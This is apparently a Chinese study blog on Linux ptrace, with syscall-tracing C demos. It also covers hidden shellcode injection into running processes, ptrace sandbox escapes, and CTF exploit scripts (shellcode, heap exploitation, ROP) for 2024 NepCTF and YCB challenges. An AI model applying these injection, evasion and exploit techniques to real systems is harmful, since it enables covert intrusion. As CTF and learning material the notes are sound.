首先fork出来的进程和父进程是不分前后顺序的(前面说到顺序由高度函数决定),所以先父进程进入到else分支,子进程接着进入if分支,然后父进程执行了wait函数之后,交给子进程执行,执行到ptrace(PTRACE_TRACEME,0,NULL,NULL),但是此时子进程并没有进入traced状态,直到执行到exec类型的函数(才会发出相关信号),才会让子进程也被父函数跟踪。回到父函数,父函数调用了ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL)获取子进程RAX的值,59即是execve的系统调用号。之后调用ptrace(PTRACE_CONT,child,NULL,NULL);,让子进程继续执行,也就有了下面的/bin/ls输出的内容。


1.6.3.2.1 可能有的一些问题

问题1:父进程怎么向子进程发送信号?

问题2:execl系统调用给父进程发送SIGTRAP信号后,父进程怎么样处理这个信号?

  • 首先回答问题2:

    • wait系统调用是一个用来进行进程控制的系统调用,它可以用来阻塞父进程,当父进程接收到子进程传来信号或者子进程退出时,父进程才会继续运行。所以这里的wait系统调用很显然用来接收子进程调用execl时产生的SIGTRAP信号。
  • 然后是问题1:

    • ptrace(PTRACE_CONT, child, NULL, NULL)表达式:
    • 父进程这里通过调用ptrace系统调用并使用PTRACE_CONT作为操作类型,这个操作类型的作用官方是这样描述的:恢复处于**Traced**状态的**tracee**进程。最后一个参数表示发送给**tracee**进程的信号。

1.6.3.2.2 USER字段

其实我们RAX的宏是这样的,那这个15是什么意思呢?

1
define ORIG_RAX 15

此时就要结合user字段的结构体来看了,USER字段的部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct user_regs_struct
{
__extension__ unsigned long long int r15;
__extension__ unsigned long long int r14;
__extension__ unsigned long long int r13;
__extension__ unsigned long long int r12;
__extension__ unsigned long long int rbp;
__extension__ unsigned long long int rbx;
__extension__ unsigned long long int r11;
__extension__ unsigned long long int r10;
__extension__ unsigned long long int r9;
__extension__ unsigned long long int r8;
__extension__ unsigned long long int rax;
__extension__ unsigned long long int rcx;
__extension__ unsigned long long int rdx;
__extension__ unsigned long long int rsi;
__extension__ unsigned long long int rdi;
__extension__ unsigned long long int orig_rax;
__extension__ unsigned long long int rip;
__extension__ unsigned long long int cs;
__extension__ unsigned long long int eflags;
__extension__ unsigned long long int rsp;
__extension__ unsigned long long int ss;
__extension__ unsigned long long int fs_base;
__extension__ unsigned long long int gs_base;
__extension__ unsigned long long int ds;
__extension__ unsigned long long int es;
__extension__ unsigned long long int fs;
__extension__ unsigned long long int gs;
};

struct user
{
struct user_regs_struct regs;
// other fields
}

user结构体第一个字段就是所有寄存器的信息struct user_regs_struct regs;

这个结构体里面都是unsigned long long int类型的成员。我们再结合ptrace系统调用看看

1
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);

addr字段我们传的是8 * ORIG_RAX,其中8代表每个成员的大小(long long int在64位系统中所占用的大小),而ORIG_RAX(15)刚好对应在user_regs_struct字段中的orig_rax成员。

这个成员在执行完execve系统调用后,存着的就是系统调用号。


1.6.3.3 Traced状态——入门例子

在上面的版本的demo中,我们已经能够理解父子进程中使用ptrace能做到的一些事情了。我们在上面的demo跟着参考文章进行一些改进。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
pid_t child;
long orig_rax;
child=fork();
int status=0;
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
while(1){
wait(&status);
printf("Origen signal %d !Got signal %d\n",status,WSTOPSIG(status));
if(WIFEXITED(status)) break;

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
printf("Program called system call: %ld\n", orig_rax);
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

相关宏的设置是这样的。

1
2
#define WIFEXITED(status)    (((status) & 0xff) == 0)
#define WIFSTOPPED(status) (((status) & 0xff) == 0x7f)

这里涉及到的新东西有以下几个。

  1. wait(&status);
  2. ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  3. 父进程的调用是在一个死循环里

运行结果如下所示

img


1.6.3.3.1 wait(&status)以及相关宏

上面讲wait函数的时候提到过,这时候会关心子进程返回的信号类型,也就是说会接收子进程来的信号。

接收到信号之后,WSTOPSIG宏可以获取信号对应的编号,具体编号可以用kill -l指令展现出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
qwq@qwq:~/ctf$ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

WIFEXITED宏可以检测接收到的型号是否标志着子进程退出,其宏定义为。

1
2
3
4
5
# in sys/wait.h
# define WIFEXITED(status) __WIFEXITED (__WAIT_INT (status))

# in bits/waitstatus.h
#define __WIFEXITED(status) (__WTERMSIG(status) == 0)

也就是说,如果接收到的信号编号为0,就意味着子进程退出。


子进程什么时候会向父进程发送信号?

目前情况是syscall的时候会向父进程发一次


1.6.3.3.2 PTRACE_SYSCALL与while循环

照搬上面的解释

形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。

PTRACE_SYSCALL与PTRACE_CONT有如下的关系

PTRACE_CONT功能类似,使子进程继续执行,其最后一个参数也和PTRACE_CONT一样,表示是否发送相应信号给子进程。

发生systemcall相关的事件(包括systemcall开始和systemcall结束)时子进程需要通知父进程。要注意的是每次子进程被暂停后都需要重新调用PTRACE_SYSCALL以便下一次的system call事件会被捕抓到。

根据PTRACE_SYSCALL的功能描述,我们通过一个while循环体来接收子进程每一次system call发出的信号,并在处理完成后再次通过PTRACE_SYSCALL来捕获下一次system call的信号,并当子进程退出时结束循环。


1.6.3.3.3 运行结果解析

运行结果打印出来的都是三个东西

Origen signal 1407 !Got signal 5

Program called system call: 59

其中上面的1407和5也就是signal信号都是全部一致的

一开始就出现了59号的系统调用,这是因为调用了execve

之后则是12/158/9/21/257/3/0/262/10/17/218/137/318/202/191/41……

除了一开始的59,其他的系统调用都是重复出现的。这是因为PTRACE_SYSCALL会让子进程在每次系统调用进入和退出的时候都发出信号。

父进程wait系统调用每次接收到的信号都是5)SIGTRAP


1.6.3.4 Traced状态——进阶例子

1.6.3.4.1 过滤execve的框架

往往tracee进程都会通过ptrace+execve的方式将自身转变为一个处于中止状态的进程,而tracer进程往往会通过wait系统调用来接收由tracee进程发出的SIGTRAP信号。因此在这种场景下,第一个信号一定是对应execve这个系统调用的,而并不是我们想要追踪的进程的系统调用,因此我们忽略这个信号。

所以下面的代码有一个空的死循环,我们还没写进去code,我们先在死循环接受第一个信号execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <stdio.h>
#include <sys/wait.h>

int main(int argc, char **argv){
pid_t child = fork();
int status = 0;
long orig_rax = 0;
if (child == 0){
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", "-l", "-h", NULL);
} else {

wait(&status);
ptrace(PTRACE_SYSCALL, child, NULL, NULL);

while(1){
// code block
}
}
return 0;
}

接着是ptrace的系统调用,通过PTRACE_SYSCALL选项通知tracee进程的所有系统调用的信号给父进程然后再进入循环体。前面我们提到过tracee进程发送的有关系统调用的信号是成对出现的。其中有一个系统调用号1,也就是sys-write值得我们关注。我们可以看到write系统调用是打印出ls的结果的关键。

1
2
3
4
5
Origen signal 1407 !Got signal 5
Program called system call: 1
-rwx--x--x 1 qwq qwq 17K 718 17:27 vuln
Origen signal 1407 !Got signal 5
Program called system call: 1

我们结合控制台输出来解释下程序当时的行为:

1
2
3
Program called system call: 1:程序开始调用write系统调用,准备向控制台写入数据;
-rw-r--r-- 1 root root 1.9K 828 17:00 monitor_signal.c:程序写入数据;
Program called system call: 1:程序退出write系统调用。
1.6.3.4.2 优化代码

所以我们也可以充分利用PTRACE_SYSCALL的特性,将程序开始进行系统调用和结束系统调用的相关信息打印出来?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
long orig_rax;
pid_t child=fork();
int status=0;
long rax=0;
int insyscall=0;
long params[3];
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
wait(&status);
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
while(1){
wait(&status);
if(WIFEXITED(status)) break;

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
if(orig_rax != SYS_write){
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
continue;
}

printf("Got signal %d\n",WSTOPSIG(status));
/*Syscall entry*/
if(insyscall==0)
{
insyscall=1;
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RDI,NULL);
params[1]=ptrace(PTRACE_PEEKUSER,child,8*RSI,NULL);
params[2]=ptrace(PTRACE_PEEKUSER,child,8*RDX,NULL);
printf("write called with %ld,%ld,%ld\n",params[0],params[1],params[2]);

}
else{
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RAX,NULL);
printf("Write returned with %ld\n",rax);
insyscall=0;
}
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

相比之前的代码,这份代码有两部分的优化,第一个过滤掉除write的系统调用,第二个显示write系统调用的参数和返回值。

只捕抓write系统调用的实现:过滤掉第一个execve的系统调用之后,再次等待子进程的信号,syscall会向父进程发送信号,可以用PEEKUSER获取的rax值(其作为系统调用号)。

分别处理系统调用的进入和退出:系统调用是成对出现的。因此捕抓到write系统调用的时候,我们通过一个insyscall变量来表示这个系统调用是“进入”状态还是“退出”状态。

显示write系统调用入参情况:我们可以从ORIG_RAX这个寄存器中获取系统调用号,通过同样的方式,我们可以通过RDIRSIRDX寄存器分别获取系统调用的第1、2、3个参数。

实际上,Linux为64位机器提供了6个保存参数的寄存器,按照顺序他们分别是:RDI、RSI、RDX、RCX、R8和R9。

显示write系统调用返回值:当insyscall变量为1时,说明程序已经进入系统调用,接下来的一次系统调用行为就是退出系统调用。这时,我们通过获取RAX寄存器中的值,可以获取系统调用的返回值。

ORIG_RAX寄存器保存系统调用号,RAX寄存器保存系统调用返回值。

1.6.3.4.3 为什么子进程信号一直是5)SIGTRAP

在入门版本的输出中,输出的Got signal内容一直都是5这个信号,也就是SIGTRAP

这个型号只能告诉tracer进程:tracee进程现在处于中止状态,等待tracer进程对其进行控制,而并不能告诉tracer进程到底是什么原因导致tracee进程进入中止状态的。

ptrace系统调用我们提供了判别方式:通过PTRACE_SETOPTIONS操作传递PTRACE_0_TRACESYSGOOD给tracee进程,从而让tracee进程发送给tracer进程的信号编号(signal code)由5也就是SIGTRAP 编程5|0x80,也就是133.

如果返回值是133,那么其就属于系统调用发出的信号。

0x80是操作系统规定属于系统调用的中断号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
pid_t child=fork();
long orig_rax=0;
int status=0;
long rax=0;
int insyscall=0;
long params[3];
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
wait(&status);
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
//puts("test");

while(1){
wait(&status);
//puts("test");
if(WIFEXITED(status)) break;


if (! (WSTOPSIG(status) & 0x80))
{
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
continue;
}

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);

if(orig_rax != 1){
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
continue;
}

printf("Got signal %d\n",WSTOPSIG(status));
/*Syscall entry*/
if(insyscall==0)
{
insyscall=1;
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RDI,NULL);
params[1]=ptrace(PTRACE_PEEKUSER,child,8*RSI,NULL);
params[2]=ptrace(PTRACE_PEEKUSER,child,8*RDX,NULL);
printf("write called with %ld,%ld,%ld\n",params[0],params[1],params[2]);

}
else{
rax=ptrace(PTRACE_PEEKUSER,child,8*RAX,NULL);
printf("Write returned with %ld\n",rax);
insyscall=0;
}
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

输出结果,这里只放出一部分代码

1
2
3
4
5
6
7
8
9
10
Got signal 133
write called with 1,95611630020928,10
total 64K
Got signal 133
Write returned with 10
Got signal 133
write called with 1,95611630020928,46
drwxrwxr-x 4 qwq qwq 4.0K 31 2024 buu
Got signal 133
Write returned with 46

1.7 进程栈与进程堆 线程栈和线程堆

前面我们提到了进程的四要素

  1. 要执行的程序
  2. 专用的系统堆栈空间(代码段数据段等)
  3. task_struct和pid
  4. 独立的存储空间

缺少第四条的称为线程,如果完全没有用户空间称为内核线程,共享用户空间的称为用户线

接下来我们来了解进程栈和线程栈


进程栈程序被操作系统加载并执行时,会为其分配一块内存作为进程的地址空间,这其中包括进程栈。进程栈存储所有线程共享的全局变量之外等等数据。比如局部变量,函数参数和返回地址。每个进程是独立的,所以进程栈也是相互独立的。

线程栈:每个线程共享所属进程的地址空间,但是有自己的线程栈。线程栈同样存储局部变量,函数参数和返回地址。它们是线程私有的,每个线程的栈空间互不影响。

进程栈服务于整个进程,而线程栈服务于进程内的每一个线程。

0X2 ptrace的shellcode注入

2.1 相关原理

参考:一种Linux下ptrace隐藏注入shellcode技术和防御方法 - FreeBuf网络安全行业门户

不同版本操作系统有各自实现ptrace系统调用的方式,由于本文只关注Linux环境。我们通常用ptrace提供的系统调用 通过一个进程去控制另一个进程,这常被用于程序调试、分析和监测工具,例如gdb和strace等。

控制进程tracer和被控制进程tracee

一个tracee只能关联(attach)一个tracer,一个tracer可以关联多个tracee,实际上linux下tracee只是一个线程,一个包含多个线程的进程中每个线程可以单独关联各自的tracer。

如果tracer要控制tracee可以进行下图的对应操作。

img

  1. tracer调用PTRACE_ATTACH功能关联指定的tracee,向tracee发送SIGSTOP信号,并调用waitpid等待tracee状态改变;
  2. 当tracee状态变成STOP,waitpid返回;
  3. tracer调用PTRACE_SYSCALL功能让tracee进入单步执行状态,并调用waitpid等待tracee状态改变;
  4. 重复步骤2)和步骤3);
  5. tracer调用PTRACE_DETACH功能让tracee恢复运行,并解除关联。

步骤3)中tracer可以检查和修改tracee的内存和寄存器内容,给渗透攻击注入shellcode提供了可能,接下来描述利用ptrace隐藏注入shellcode的技术细节。

2.2 技术解析

达成隐藏注入shellcode的目标需要解决三个问题:

  1. shellcode存放在哪里?
  2. 如何执行shellcode?
  3. 如何不被轻易发现正在运行的shellcode?

2.2.1 shellcode存放在哪里

shellcode存放涉及到读取和写入的问题,而且存放的段还要有可执行权限(即具有rwxp权限的段),所以一般存放在mmap分配出来的内存。

所以要实现shellcode存放,父进程函数执行流得如下

1
2
3
4
ptrace(PTRACE_ATTACH,tracee_pid,NULL,NULL);
waitpid(tracee_pid,0,0);
mem_addr=remote_mmap(tracee_pid,NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0);
poke_text(tracee_pid,(size_t)mem_addr,shellcode,SHELL_LEN);

如何在子进程的内存中写入shellcode?自己的猜想

第一 子进程和父进程共享内存,那么我们可以在父进程先写入shellcode

第二 不共享内存,则有没有修改子进程内存的函数或者文件?

文件的话/proc/pid/mem可以修改内存

2.2.2 如何执行shellcode

我们控制的是父进程的函数执行流,对于子进程我们需要通过父进程修改rip寄存器来达到修改shellcode的效果。伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//读取tracee寄存器并备份
//reg是struct user_regs_struct类型变量,上面有提到过
ptrace(PTRACE_GETREGS,tracee_pid,NULL,&reg);
memcpy(&old_regs,&regs,sizeof(struct user_regs_struct));
//修改rip为mem_addr (shellcode的地址)
regs.rip = (u_int64_t) mem_addr;
regs.rip += 2;//+=2的意义何在?
//设置tracee寄存器
ptrace(PTRACE_SETREGS, tracee_pid, NULL, &regs)
//执行shellcode,假设shellcode结尾执行了getpid系统调用,就是用它结尾的意思
for (;;) {
ptrace(PTRACE_SYSCALL, tracee_pid, NULL, NULL)
waitpid(tracee_pid, 0, 0)
ptrace(PTRACE_GETREGS, tracee_pid, 0, &regs)
if (regs.orig_rax == 39) {
// 已执行getpid系统调用,恢复tracee状态
ptrace(PTRACE_SETREGS, tracee_pid, NULL, &old_regs)
break
}
}
// 恢复tracee运行
ptrace(PTRACE_DETACH, tracee_pid, NULL, NULL)

但是上述代码只是在tracee进程(线程)中执行了一次shellcode,还达不到隐藏注入的目的。

2.2.3 隐藏shellcode执行

一个简单的解决方法是在tracee所在进程中新建一个线程,在新建的线程中执行shellcode,并在shellcode中加入可以持续运行的循环。(如何理解?)

这时,通过监测进程状态难以发现注入的shellcode;如果tracee所在进程原来就包含多个线程,通过监测线程状态也难以准确判断是否被注入了shellcode;虽然检查tracee进程的内存段可以找到具有执行权限的匿名内存段,但是有些进程本来就存在具有执行权限的匿名内存段,仍然不能准确判断是否存在shellcode。综上所述,这种新建线程中执行shellcode的方式能够解决第三个问题:如何不被轻易发现正在运行的shellcode。伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
// 设置新建线程的栈
stack_addr = remote_mmap(tracee_pid, NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)
stack_top = stack_addr + 4096
poke_text(tracee_pid, (size_t)stack_addr, (char *)&mem_addr, sizeof(void *))
// 修改系统调用为SYS_clone并单步执行,新建线程以后恢复执行原有代码
thread_pid = remote_clone(pid, CLONE_PTRACE | CLONE_SIGHAND | CLONE_THREAD | CLONE_VM | CLONE_FS | CLONE_FILES, stack_top)
// 在新建的线程中执行shellcode
ptrace(PTRACE_GETREGS, thread_pid, NULL, &regs)
regs.rip = (u_int64_t) mem_addr;
ptrace(PTRACE_SETREGS, thread_pid, NULL, &regs)
ptrace(PTRACE_DETACH, thread_pid, NULL, NULL)

2.3 对应的防御措施

Linux内核使用图4描述的算法检查调用者(caller)相对目标(target)的ptrace访问权限。首先检查调用者和目标是否在同一个线程组,是则允许(allowed)使用ptrace功能;接着根据调用者和目标的用户编号(uid)和组编号(gid)是否一致、目标是否有可转存(dumpable)属性、调用方是否具有CAP_SYS_PTRACE权限,判定是否拒绝(denied)使用ptrace功能;然后调用Linux安全模块(LSM),例如:SELinux、Yama、Smack等,不同的安全模块有各自的检查判定规则;最后如果之前的检查没有拒绝使用ptrace功能,则允许使用。

img

2.4 能够进行的绕过

参考:Linux Sandbox - Ptrace - B3ale (qianfei11.github.io)

2.4.1 Escape by fork

  • 只要 ptrace 没有跟踪好 fork、vfork、clone,子进程就不会被 ptrace 跟踪;

  • 正确的做法是要继续跟好子进程,或者直接禁止 fork。

    • 可以设置 PTRACE_O_TRACECLONE 选项,会自动跟踪 clone 出来的新进程。

2.4.2 Escape by Kill

  • 杀死父进程;

    • kill(getppid(), 9);
    • ppid 无法获取时可以尝试 pid-1;
    • /proc/self/stat 中可以拿到 pid 和 ppid;
    • kill(-1, 9); 杀死除了自己以外的所有进程。
  • 设置 PTRACE_O_EXITKILL 可以让 Tracer 结束时把所有的 Tracee 杀死。

碎碎念

fork ptrace wait函数这些进程相关的函数

这里考点比较零碎,主要考基础知识,基础知识得自己去查去学

如fork爆破canary等

wait等的是ptrace的状态,所以我们可以用空的ptrace调用绕过wait的状态检查

例题就是2024nepctf

2024nepctf NepBOX

自制沙盒,好像考点也不难。

主要是看沙盒给了什么函数,从上面的函数下手就可以了。

后面想到wait出来的参数是根据ptrace来的,只要我提前ptrace一个空进程,就能绕过很多东西wait状态的检查,只能说学到了很多进程的东西。

然后虽然说没有read函数的功能,但是题目给出了一个打印read函数参数的功能,就利用这个功能区leak。

要注意rsi为rsp才能leak上面的内容,因为指针的关系,这里%p只是打印寄存器的值,然而pop rsi,自然打印出来rsp上面的值.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
p=remote('neptune-49685.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")

opennat=asm("""
mov r15,rdx
mov rax,101
syscall
mov rdi,0x67616c662f2e
push rdi
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rax,0
mov rdi,3
mov rsi,r15
mov rdx,0x100
syscall
xor rdi,rdi
mov rax,101
syscall
mov rax,0
mov rdi,0
mov rsp,r15
pop rsi
mov rdx,0x100
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall



""")

short_shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
shellcodeQWQ=[shellcode1,shellcode2,shellcode3]
#gdb.attach(p,"b *(rebase +0x1a14)")
p.recvuntil("do what you feel is right!")
p.send(opennat)
#

p.interactive()

然后打印出来的东西就是flag的大端小端反写,之后就是找工具转译了。

img

2024 YCB hard-seccomp

参考:Seccomp BPF (基于过滤器的安全计算) — The Linux Kernel documentation

参考:[羊城杯 2024 pwn writeup (qanux.github.io)](https://qanux.github.io/2024/08/28/羊城杯 2024 pwn writeup/index.html)

参考:PTRACE - Linux手册页-之路教程 (onitroad.com)

题目是一个简单堆题,这里house of cat进行了控制程序流,到我们可以写入shellcode到执行shellcode的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
context(log_level="debug",arch="amd64")
p=process("./pwn")
#p=remote("49.234.30.109",9999)

def cmd(i):
p.sendlineafter(">",str(i))

def add(idx,size):
cmd(1)
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def free(idx):
cmd(2)
p.sendlineafter("Index: ",str(idx))

def edit(idx,con):
cmd(3)
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Content: ",con)


def show(idx):
cmd(4)
p.sendlineafter("Index: ",str(idx))

libcversion="235"
add(0,0x510)
add(1,0x530)
add(2,0x510)
free(0)
free(1)
add(0,0x520)
add(3,0x520)#old1
show(0)
libc_addr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))


free(0)
add(4,0x530)
free(2)
add(5,0x530)
show(0)
heap_addr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("heap_addr",hex(heap_addr))
heapbase=heap_addr-0xcf0
print("libc_addr",hex(libc_addr))
if libcversion=="236":
main_arena=libc_addr-1504
_IO_list_all=main_arena+0xA00
libcbase=_IO_list_all-0x000001f7660
_IO_list_all=libcbase+0x01f7660
openat2=libcbase+0x00010cb50
read=libcbase+0x010cce0
write=libcbase+0x0010cd80
IO_wfile_jumps=libcbase+0x001f30a0
setcontext=libcbase+0x041c00
pop_rdi=libcbase+0x0023b65
pop_rsi=libcbase+0x251be
pop_rdx=libcbase+0x166262
pop_rdx_rcx_rbx=libcbase+0x00101353
pop_rbp=libcbase+0x023a60
fd=libcbase+0x21B110
mprotect=libcbase+0x000116e60

else:
main_arena=libc_addr-1504
_IO_list_all=main_arena+0xa00
libcbase=_IO_list_all-0x021b680
_open=libcbase+0x001144e0
openat2=libcbase+0x00000114640
_write=libcbase+0x0114870
_read=libcbase+0x0001147d0
_IO_wfile_overflow =libcbase+0X0000086390
IO_wfile_jumps=libcbase+0x0000000002170c0
setcontext =libcbase+0x0000000539e0
pop_rdi=libcbase+0x02a3e5
pop_rsi=libcbase+0x171a12
pop_rdx_rcx_rbx=libcbase+0X108b03
pop_rdx_r12=libcbase+0x011f2e7
sendmsg=libcbase+0x00000127950
recvmsg=libcbase+0x00001277e0
mprotect=libcbase+0x0011eaa0
fd=libcbase+0x21B110
pop_rsp_rbp=libcbase+0x0133b30
pop_rbp=libcbase+0x0002a2e0


#gdb.attach(p)
add(2,0x510)

new_addr=heapbase+0x1210
heapaddr=heapbase+0x290
edit(0,p64(fd)*2+p64(heap_addr)+p64(_IO_list_all-0x20))
free(2)#2
add(6,0x530)
iu=asm("""

push 425
pop rax
syscall


""")




stack_heap=heapbase+0x2000+0x650
fake_io_addr=heapbase+0xcf0 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(0x0)#这个并不是_flag也不是rdi #_flags=rdi
fake_IO_FILE+=p64(0)*5
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0x100)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x400) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
fake_IO_FILE+=b"./flag\x00\x00"
qwq=b'\x00'*0x68+p64(fake_io_addr+0xF8)+p64(fake_io_addr+0x200)+p64(fake_io_addr+0x200)
qwq+=p64(fake_io_addr+0x200)+p64(pop_rdi)
qwq=qwq.ljust(0xa0,b'\x00')
qwq+=p64(0xdeadbeef)+p64(0xdeadbeef)+b'\x00'*0x28
ROP=p64(pop_rdi)+p64(heapbase+0x1000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx_rcx_rbx)+p64(7)+p64(0)+p64(0)+p64(mprotect)+p64(pop_rbp)+p64(stack_heap+0x488)+p64(new_addr+0x10)#
qwq+=ROP
fake_IO_FILE+=qwq
#gdb.attach()
edit(2,fake_IO_FILE)
#gdb.attach(p,"b _IO_switch_to_wget_mode")
edit(4,shellcode)
add(7,0x900)
cmd(5)

print("libc_addr",hex(libc_addr))
print("libcbase:",hex(libcbase))
print("heapbase:",hex(heapbase))



p.interactive()

程序的沙盒状态如下

img

一开始本来想用openat2,但是因为Linux内核5.6才有openat2的引入,远程发现是5.4的版本左右,所以是不支持openat2的。

不清楚本地的flag是否在当前目录下,../ / ../../目录我都找过,但是无济于事

